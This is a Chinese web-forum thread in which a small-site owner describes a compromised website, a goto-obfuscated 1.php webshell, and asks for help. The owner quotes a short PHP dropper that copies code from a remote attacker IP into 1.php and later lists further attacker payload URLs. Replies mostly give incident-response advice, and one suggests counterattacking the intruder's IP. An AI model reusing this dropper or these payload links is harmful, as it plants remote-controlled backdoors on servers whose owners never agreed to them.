网站被挂后门,后面文件已找到，但是小弟我拿它没办法

[Epona]

事情经过： 1 个小网站前几天都还登录过去，昨天登录后台竟然提示密码不对， 再试了 3 次一样提示，心里顿时不对劲，估计被黑了，立马返回网站首页查看源代码，果然被挂了 xx 内容，然后进宝塔进网站目录查看，发现了 1.php 文件。打开发现文件是 goto 加密，思考了片刻，还原不了。

例外在其他目录文件也发现了下面的片段：

<?php
$a="copy";
$a("http://23.251.35.165/as.txt","1.php");
?>

这个远程 txt 地址就是入侵者用来生成 1.php

请各路神仙帮忙分析分析，里面都装的啥内容，希望让更多的 v 友知道，预防一下 🙏

[kilala2020]

东西好歹发出来看看

[Epona]

@kilala2020 忘记加代码块了，抱歉。

[xieshaohu]

管他是什么内容，先防火墙规则设置只允许白名单进出，然后 tcpkill 杀掉所有连接，然后清理被感染的问题，再安装个 clamav 杀毒。

碰到过 Linux 被挂马最多的就是挖矿，白嫖算力。

[ccc008]

找到这个文件修改的时间，然后分析日志，根据日志访问情况顺藤摸瓜找到网站原始漏洞，然后进行修补。

[Epona]

能解密里面的内容吗？ goto 加密似乎很难破译出来

[ttentau1]

就是远控木马呗，重装吧。这玩意防不胜防的

[NessajCN]

啥叫还原不了？你自己的服务器自己登不进去吗？ ssh ？ vnc ？
如果是 vps 那找云服务商啊
如果是线下实体机去拔线连显示器啊

[LLaMA2]

都是明文的，加密了什么？

[javalaw2010]

随便搜了个在线反混淆工具解开看了下，就是个 webshell ，功能还挺多： https://t.wss.ink/f/c5x7f12ww27

[Epona]

@ye4tar 这么多 goto 还有很多 16 进制

[ccc008]

@Epona #5 关注的重点不对哦。关注木马的内容没太大意义。要关注的是木马通过什么途径进来的，才能根制。

[brader]

@Epona 你的关注点似乎错了，其实 1.php 文件里面有什么内容，真的不重要，因为对方可通过你上面发的那个代码片段随时更新和重新生成 1.php 里面的内容。你应该关注的是，上面那个代码片段，是经由哪个漏洞侵入进来的，把这个漏洞找到封堵，才是从源头解决问题

[x86]

重装吧，更新下安全组和目录权限。找不到漏洞的情况下你也挺被动

[v2geek]

@Epona
https://decode.xiaojieapi.com/
我试了下这个网站可以解

[Epona]

@javalaw2010 厉害了 👍

[goodname]

不负责任的猜测，后台密码不对，可能是通过 sql 注入获取的后台密码，然后利用后台上传文件功能，上传 webshell

[skiy]

先查源头很重要。否则搞一整天，发现是镜像的问题就好玩了。

---

曾经使用某小主机商的 VPS ，被挂挖矿程序了。以为是自己程序的问题，后来把程序全下了。重装系统之后，什么也不装。过了几天，那个挖矿程序又被开起来了。应该是他们镜像的问题。

[putyy]

先反攻击一波 对方 ip 都暴出来了

[Epona]

从上面 v 友提供的线索得到的链接：
http://154.204.233.162/panel.txt
http://154.204.233.162/zrty.txt
http://www.lgdjsc.top/jsc/jsc_link.txt

隐藏的太深了,看样子我得去找网站具体漏洞了。

@brader 谢谢提醒

[weeei]

有一个野路子：在某个地方放你整站的打包，设置一个定时覆盖